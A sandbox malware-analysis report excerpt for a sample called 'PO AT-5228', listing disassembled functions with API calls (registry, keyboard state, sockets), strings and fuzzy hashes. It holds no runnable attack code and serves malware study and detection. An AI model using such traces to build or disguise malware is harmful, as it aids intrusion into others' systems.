Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue_memset
String ID: SOFTWARE\Classes\$\CLSID$\IPC$
API String ID: 1687751970-22481851
Opcode ID: 45db9a6bc7323269785a3d2f0064974c8026a45e67237f34d043ef1a7aa44d62
Instruction ID: 6b207d78799008a8df06dc57e533ee7eb76f35d4f74e29e271c905d436dd8d95
Opcode Fuzzy Hash: 45db9a6bc7323269785a3d2f0064974c8026a45e67237f34d043ef1a7aa44d62
Instruction Fuzzy Hash: 2C410576C10229AADF21EBA4DC95DEDB7B8FF04300F0441A9F805B71A1EB749E15CB90

Function 00BC3C06 Relevance: 19.4, APIs: 1, Strings: 10, Instructions: 109COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,?,?,?,?,?,00BC2BB5,?,?), ref: 00BC3C1D

Strings

HKEY_CURRENT_CONFIG, xrefs: 00BC3CC0
HKEY_LOCAL_MACHINE, xrefs: 00BC3C6C
HKU, xrefs: 00BC3D15
HKEY_CURRENT_USER, xrefs: 00BC3CE2
HKLM, xrefs: 00BC3C81
HKCU, xrefs: 00BC3CF3
HKEY_CLASSES_ROOT, xrefs: 00BC3C96
HKCR, xrefs: 00BC3CAB
HKEY_USERS, xrefs: 00BC3D04
HKCC, xrefs: 00BC3CD1

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: BuffCharUpper
String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
API String ID: 3964851224-909552448
Opcode ID: 263b8426f18ccdb5aa092764c89dc91e6b9f45bfa3bc969262cc9d89ccfb0e52
Instruction ID: 78ea50a94d972742314d64188b5ca136545c331db783d8f102f06a0fb6786918
Opcode Fuzzy Hash: 263b8426f18ccdb5aa092764c89dc91e6b9f45bfa3bc969262cc9d89ccfb0e52
Instruction Fuzzy Hash: 744152741102498BCF05EF14D891EEA37E9EF16700F5084E8FC661B191EB70DE5ACB10

Function 00BA25B5 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 74windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,00000000,?,00BD36F4,00000010,?,Bad directive syntax error,00BFDC00,00000000,?,?,?,>>>AUTOIT SCRIPT<<<), ref: 00BA25D6
LoadStringW.USER32(00000000,?,00BD36F4,00000010), ref: 00BA25DD
_wprintf.LIBCMT ref: 00BA2610
__swprintf.LIBCMT ref: 00BA2632
MessageBoxW.USER32(00000000,00000001,00000001,00011010), ref: 00BA26A1

Strings

Line %d:, xrefs: 00BA262C
Error: , xrefs: 00BA266F
., xrefs: 00BA2687
Line %d (File "%s"):, xrefs: 00BA2647
%s (%d) : ==> %s.: %s %s, xrefs: 00BA260B

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: HandleLoadMessageModuleString__swprintf_wprintf
String ID: Error: $%s (%d) : ==> %s.: %s %s$.$Line %d (File "%s"):$Line %d:
API String ID: 1080873982-4153970271
Opcode ID: 32cfc06c9c80c7112a7bbf7e7ebbea0cdf7dc9ef29bb37dceb0d2e9375641c0b
Instruction ID: 0ad33d0d16b354ca447c5f17c542ed6392215fcc296f021bec77822c2b7ec1a7
Opcode Fuzzy Hash: 32cfc06c9c80c7112a7bbf7e7ebbea0cdf7dc9ef29bb37dceb0d2e9375641c0b
Instruction Fuzzy Hash: 8B217E3180025AAFCF11BF94CC4AEEE7BB9BF19304F0404A9F505670A2DA75A669DB50

Function 00BA7AD9 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 73COMMON

Download Yara Rule

APIs

mciSendStringW.WINMM(status PlayMe mode,?,00000100,00000000), ref: 00BA7B42
mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 00BA7B58
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00BA7B69
mciSendStringW.WINMM(play PlayMe wait,00000000,00000000,00000000), ref: 00BA7B7B
mciSendStringW.WINMM(play PlayMe,00000000,00000000,00000000), ref: 00BA7B8C

Strings

status PlayMe mode, xrefs: 00BA7B3D
alias PlayMe, xrefs: 00BA7B1B
play PlayMe wait, xrefs: 00BA7B76
play PlayMe, xrefs: 00BA7B87
open , xrefs: 00BA7AF1
close PlayMe, xrefs: 00BA7B53, 00BA7B80

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: SendString
String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
API String ID: 890592661-1007645807
Opcode ID: 0329af34fbbd08dc4b8d9473959cda07139e61c878b6adde815b42c1c786d4f0
Instruction ID: 35895733d4de2ca254adfce682c8eb21fb43b0e40f3883c87c57716e6657e654
Opcode Fuzzy Hash: 0329af34fbbd08dc4b8d9473959cda07139e61c878b6adde815b42c1c786d4f0
Instruction Fuzzy Hash: 1F11B2E1A842A979D720A361CC9ADFF7EFCEB93B14F4005A97411A60C1DEA00E85C6B0

Function 00BA778F Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 72sleepwindowtimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 00BA7794

Part of subcall function 00B7DC38: timeGetTime.WINMM(?,75C0B400,00BD58AB), ref: 00B7DC3C

Sleep.KERNEL32(0000000A), ref: 00BA77C0
EnumThreadWindows.USER32(?,Function_00047744,00000000), ref: 00BA77E4
FindWindowExW.USER32(?,00000000,BUTTON,00000000), ref: 00BA7806
SetActiveWindow.USER32 ref: 00BA7825
SendMessageW.USER32(00000000,000000F5,00000000,00000000), ref: 00BA7833
SendMessageW.USER32(00000010,00000000,00000000), ref: 00BA7852
Sleep.KERNEL32(000000FA), ref: 00BA785D
IsWindow.USER32 ref: 00BA7869
EndDialog.USER32(00000000), ref: 00BA787A

Strings

BUTTON, xrefs: 00BA77F8

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Window$MessageSendSleepTimetime$ActiveDialogEnumFindThreadWindows
String ID: BUTTON
API String ID: 1194449130-3405671355
Opcode ID: 81bf572c0ed04a8256d791d69d7c608b9a5d07021a91c99bc16dd81d73d13018
Instruction ID: da8d7e0391a6eeadd86f0bb48f05b70139838b553c429d3731470f36c2b8f769
Opcode Fuzzy Hash: 81bf572c0ed04a8256d791d69d7c608b9a5d07021a91c99bc16dd81d73d13018
Instruction Fuzzy Hash: 2421547025C685AFE7115B20ECCDB2A3FA9FB46349F0001A4F50696572CFBD5D02DB21

Function 00BB02EE Relevance: 18.3, APIs: 12, Instructions: 282comCOMMON

Download Yara Rule

APIs

Part of subcall function 00B6936C: __swprintf.LIBCMT ref: 00B693AB
Part of subcall function 00B6936C: __itow.LIBCMT ref: 00B693DF

CoInitialize.OLE32(00000000), ref: 00BB034B
SHGetSpecialFolderLocation.SHELL32(00000000,00000000,?), ref: 00BB03DE
SHGetDesktopFolder.SHELL32(?), ref: 00BB03F2
CoCreateInstance.OLE32(00BEDA8C,00000000,00000001,00C13CF8,?), ref: 00BB043E
SHCreateShellItem.SHELL32(00000000,00000000,?,00000003), ref: 00BB04AD
CoTaskMemFree.OLE32(?,?), ref: 00BB0505
_memset.LIBCMT ref: 00BB0542
SHBrowseForFolderW.SHELL32(?), ref: 00BB057E
SHGetPathFromIDListW.SHELL32(00000000,?), ref: 00BB05A1
CoTaskMemFree.OLE32(00000000), ref: 00BB05A8
CoTaskMemFree.OLE32(00000000,00000001,00000000), ref: 00BB05DF
CoUninitialize.OLE32(00000001,00000000), ref: 00BB05E1

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: FolderFreeTask$Create$BrowseDesktopFromInitializeInstanceItemListLocationPathShellSpecialUninitialize__itow__swprintf_memset
String ID:
API String ID: 1246142700-0
Opcode ID: 435b75d06b0c75214a7c672162b4cf87321cce146d135d930d342e616478bd16
Instruction ID: 11efd104af43bd1528279da93717f3436ed896864b057b50ed37daf920ce9c89
Opcode Fuzzy Hash: 435b75d06b0c75214a7c672162b4cf87321cce146d135d930d342e616478bd16
Instruction Fuzzy Hash: DAB1D875A10109AFDB14EFA4C898DAEBBF9FF48304B1484A9E806EB251DB74ED45CB50

Function 00BA2E5B Relevance: 18.2, APIs: 12, Instructions: 185keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 00BA2ED6
SetKeyboardState.USER32(?), ref: 00BA2F41
GetAsyncKeyState.USER32(000000A0), ref: 00BA2F61
GetKeyState.USER32(000000A0), ref: 00BA2F78
GetAsyncKeyState.USER32(000000A1), ref: 00BA2FA7
GetKeyState.USER32(000000A1), ref: 00BA2FB8
GetAsyncKeyState.USER32(00000011), ref: 00BA2FE4
GetKeyState.USER32(00000011), ref: 00BA2FF2
GetAsyncKeyState.USER32(00000012), ref: 00BA301B
GetKeyState.USER32(00000012), ref: 00BA3029
GetAsyncKeyState.USER32(0000005B), ref: 00BA3052
GetKeyState.USER32(0000005B), ref: 00BA3060

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: 231d8d431d4528cd64d44755f4ce96e65ecae44fb823cde1a58c5e711117f2dd
Instruction ID: 41f57a99a2d6bb3db0fa6b1019a2ca55dd97ba214fc522ed1377d22fd2d91494
Opcode Fuzzy Hash: 231d8d431d4528cd64d44755f4ce96e65ecae44fb823cde1a58c5e711117f2dd
Instruction Fuzzy Hash: 3951C524A0C79429FB35DBA888517AABFF4DF13740F0885DDD5C25A1C2DB949B8CC7A2

Function 00B9ED02 Relevance: 18.2, APIs: 12, Instructions: 174COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000001), ref: 00B9ED1E
GetWindowRect.USER32(00000000,?), ref: 00B9ED30
MoveWindow.USER32(00000001,0000000A,?,00000001,?,00000000), ref: 00B9ED8E
GetDlgItem.USER32(?,00000002), ref: 00B9ED99
GetWindowRect.USER32(00000000,?), ref: 00B9EDAB
MoveWindow.USER32(00000001,?,00000000,00000001,?,00000000), ref: 00B9EE01
GetDlgItem.USER32(?,000003E9), ref: 00B9EE0F
GetWindowRect.USER32(00000000,?), ref: 00B9EE20
MoveWindow.USER32(00000000,0000000A,00000000,?,?,00000000), ref: 00B9EE63
GetDlgItem.USER32(?,000003EA), ref: 00B9EE71
MoveWindow.USER32(00000000,0000000A,0000000A,?,-00000005,00000000), ref: 00B9EE8E
InvalidateRect.USER32(?,00000000,00000001), ref: 00B9EE9B

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Window$ItemMoveRect$Invalidate
String ID:
API String ID: 3096461208-0
Opcode ID: 464101e47fff4ef0c9b00a49b1aa646c40eb7a251dfc1fe11a9399d2a013df17
Instruction ID: efad0541b367543494da01a1f100a4ca007d3af5ec33c1a1447962871fd7ca92
Opcode Fuzzy Hash: 464101e47fff4ef0c9b00a49b1aa646c40eb7a251dfc1fe11a9399d2a013df17
Instruction Fuzzy Hash: DE51FE71B00605AFDF18CF69DD85AAEBBBAEB88701F148579F51AD7290DBB0DD008B10

Function 00B7B73E Relevance: 18.2, APIs: 12, Instructions: 170timeCOMMON

Download Yara Rule

APIs

Part of subcall function 00B7B9FF: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00B7B759,?,00000000,?,?,?,?,00B7B72B,00000000,?), ref: 00B7BA58

DestroyWindow.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?,?,?,?,00B7B72B), ref: 00B7B7F6
KillTimer.USER32(00000000,?,00000000,?,?,?,?,00B7B72B,00000000,?,?,00B7B2EF,?,?), ref: 00B7B88D
DestroyAcceleratorTable.USER32(00000000), ref: 00BDD8A6
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,00B7B72B,00000000,?,?,00B7B2EF,?,?), ref: 00BDD8D7
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,00B7B72B,00000000,?,?,00B7B2EF,?,?), ref: 00BDD8EE
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,00B7B72B,00000000,?,?,00B7B2EF,?,?), ref: 00BDD90A
DeleteObject.GDI32(00000000), ref: 00BDD91C

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Destroy$ImageList_$AcceleratorDeleteInvalidateKillObjectRectTableTimerWindow
String ID:
API String ID: 641708696-0
Opcode ID: 715bd1022a551f9bcbfbf35992fd1389606d114a257f3ff190d6264c1666c55f
Instruction ID: 018642da8d77d04aa1222df86bce216a19e86f3f6ca439d33952d259e2138fd7
Opcode Fuzzy Hash: 715bd1022a551f9bcbfbf35992fd1389606d114a257f3ff190d6264c1666c55f
Instruction Fuzzy Hash: 13619C30511600DFDB369F18D888B29B7F5FFA0311F1981AEE49A8BA60DB75AC81DF41

Function 00B7B40A Relevance: 18.1, APIs: 12, Instructions: 131COMMON

Download Yara Rule

APIs

Part of subcall function 00B7B526: GetWindowLongW.USER32(?,000000EB), ref: 00B7B537

GetSysColor.USER32(0000000F), ref: 00B7B438

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: ColorLongWindow
String ID:
API String ID: 259745315-0
Opcode ID: 83500d309e5254f3460dc8925659821ceab803aa7c65dbe19974026267991373
Instruction ID: ad294f42d1d7c74fea6b0222d2ebb820c5f2b5b83f8b081a44ef162b7f79be59
Opcode Fuzzy Hash: 83500d309e5254f3460dc8925659821ceab803aa7c65dbe19974026267991373
Instruction Fuzzy Hash: 79417F31100154AFDF205F28D889FB93BA6EB55721F1882A5FDB99F2E6DB708C41DB21

Function 00BA690B Relevance: 18.1, APIs: 12, Instructions: 113COMMON

Download Yara Rule

APIs

_wcschr.LIBCMT ref: 00BA6923
_wcscpy.LIBCMT ref: 00BA6934
__wsplitpath.LIBCMT ref: 00BA6958
__wsplitpath.LIBCMT ref: 00BA6979
_wcscpy.LIBCMT ref: 00BA699B
_wcscpy.LIBCMT ref: 00BA69B9
_wcscpy.LIBCMT ref: 00BA69C7
_wcscat.LIBCMT ref: 00BA69D6
_wcscat.LIBCMT ref: 00BA6A2B
_wcscat.LIBCMT ref: 00BA6A61
_wcscat.LIBCMT ref: 00BA6A73

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: _wcscat_wcscpy$__wsplitpath$_wcschr
String ID:
API String ID: 136442275-0
Opcode ID: 59a312776b0d0559b984b1857b296518def4bbb94ae9298b2966477cb4a9d801
Instruction ID: 0bd5a3006a1cbd208018b96f255ee140aa21145daae7b31443bbb769eb347bad
Opcode Fuzzy Hash: 59a312776b0d0559b984b1857b296518def4bbb94ae9298b2966477cb4a9d801
Instruction Fuzzy Hash: 2F41FAB784511CAECB65EB94CC86DDB73FCEB44300F0041E6BA59A2051EA70ABE9CF54

Function 00BAD76A Relevance: 17.7, APIs: 3, Strings: 7, Instructions: 180COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(00BFDC00,00BFDC00,00BFDC00), ref: 00BAD7CE
GetDriveTypeW.KERNEL32(?,00C13A70,00000061), ref: 00BAD898
_wcscpy.LIBCMT ref: 00BAD8C2

Strings

fixed, xrefs: 00BAD816
ramdisk, xrefs: 00BAD842
all, xrefs: 00BAD7D4
network, xrefs: 00BAD82C
removable, xrefs: 00BAD800
unknown, xrefs: 00BAD859
cdrom, xrefs: 00BAD7EA

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: BuffCharDriveLowerType_wcscpy
String ID: all$cdrom$fixed$network$ramdisk$removable$unknown
API String ID: 2820617543-1000479233
Opcode ID: ee2025ec5fecb53667d942573368e223a24b7611bf6834638a74e2cee77abb0d
Instruction ID: 6738aa15986e60e3b223dcf6e472af3e932308f0fe07a62a5cb32b265111b1ae
Opcode Fuzzy Hash: ee2025ec5fecb53667d942573368e223a24b7611bf6834638a74e2cee77abb0d
Instruction Fuzzy Hash: 9C51C6751083409FC700EF14C881AAFB7E9EF86314F1088ADF5AA576A2EB35DE05DB42

Function 00B6936C Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 145COMMON

Download Yara Rule

APIs

__swprintf.LIBCMT ref: 00B693AB
__itow.LIBCMT ref: 00B693DF

Part of subcall function 00B81557: _xtow@16.LIBCMT ref: 00B81578

Strings

True, xrefs: 00BD4C8C
%.15g, xrefs: 00B693A5
False, xrefs: 00BD4C93
0x%p, xrefs: 00BD4CAD

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: __itow__swprintf_xtow@16
String ID: %.15g$0x%p$False$True
API String ID: 1502193981-2263619337
Opcode ID: d54b7634ff6a0697907b712b469cb00f4fdd9da0d0e30e111e56a7d6e3ccc358
Instruction ID: beeb59fd7309666418f33ae8490876fb31584ec41c5bf103b06892daba456b28
Opcode Fuzzy Hash: d54b7634ff6a0697907b712b469cb00f4fdd9da0d0e30e111e56a7d6e3ccc358
Instruction Fuzzy Hash: 4141D472515205EBDB24EB78D982EBAB7E8EB44300F2444EBE14AD73D1EA35A941CB14

Function 00BCA1B6 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 101windowCOMMON

Download Yara Rule

APIs

MoveWindow.USER32(?,?,?,000000FF,000000FF,00000000,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?), ref: 00BCA259
CreateCompatibleDC.GDI32(00000000), ref: 00BCA260
SendMessageW.USER32(?,00000173,00000000,00000000), ref: 00BCA273
SelectObject.GDI32(00000000,00000000), ref: 00BCA27B
GetPixel.GDI32(00000000,00000000,00000000), ref: 00BCA286
DeleteDC.GDI32(00000000), ref: 00BCA28F
GetWindowLongW.USER32(?,000000EC), ref: 00BCA299
SetLayeredWindowAttributes.USER32(?,00000000,00000000,00000001), ref: 00BCA2AD
DestroyWindow.USER32(?,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?,?,00000000,00000000,?,?), ref: 00BCA2B9

Strings

static, xrefs: 00BCA1F1

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Window$AttributesCompatibleCreateDeleteDestroyLayeredLongMessageMoveObjectPixelSelectSend
String ID: static
API String ID: 2559357485-2160076837
Opcode ID: 058f5c9b0ede18a48417596c284888f3a4a88e7da733c22418804d0312cd9d9e
Instruction ID: b39bc410cff917f22ccfb84bc295baf8dd95bf9928111b1455afd6822a858bdb
Opcode Fuzzy Hash: 058f5c9b0ede18a48417596c284888f3a4a88e7da733c22418804d0312cd9d9e
Instruction Fuzzy Hash: DF319E31100118AFDF215FA4DC89FEA3BA9FF09364F100218FA19AA0E0CB75D811DBA5

Function 00BA6F02 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 72networkCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 00BA6F1D
gethostname.WSOCK32(?,00000100), ref: 00BA6F37
gethostbyname.WSOCK32(?), ref: 00BA6F44
_wcscpy.LIBCMT ref: 00BA6F6C
inet_ntoa.WSOCK32(?), ref: 00BA6F8A
_strcat.LIBCMT ref: 00BA6F98
_wcscpy.LIBCMT ref: 00BA6FAF
WSACleanup.WSOCK32 ref: 00BA6FBD
_wcscpy.LIBCMT ref: 00BA6FCB

Strings

0.0.0.0, xrefs: 00BA6F66

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: _wcscpy$CleanupStartup_strcatgethostbynamegethostnameinet_ntoa
String ID: 0.0.0.0
API String ID: 2620052-3771769585
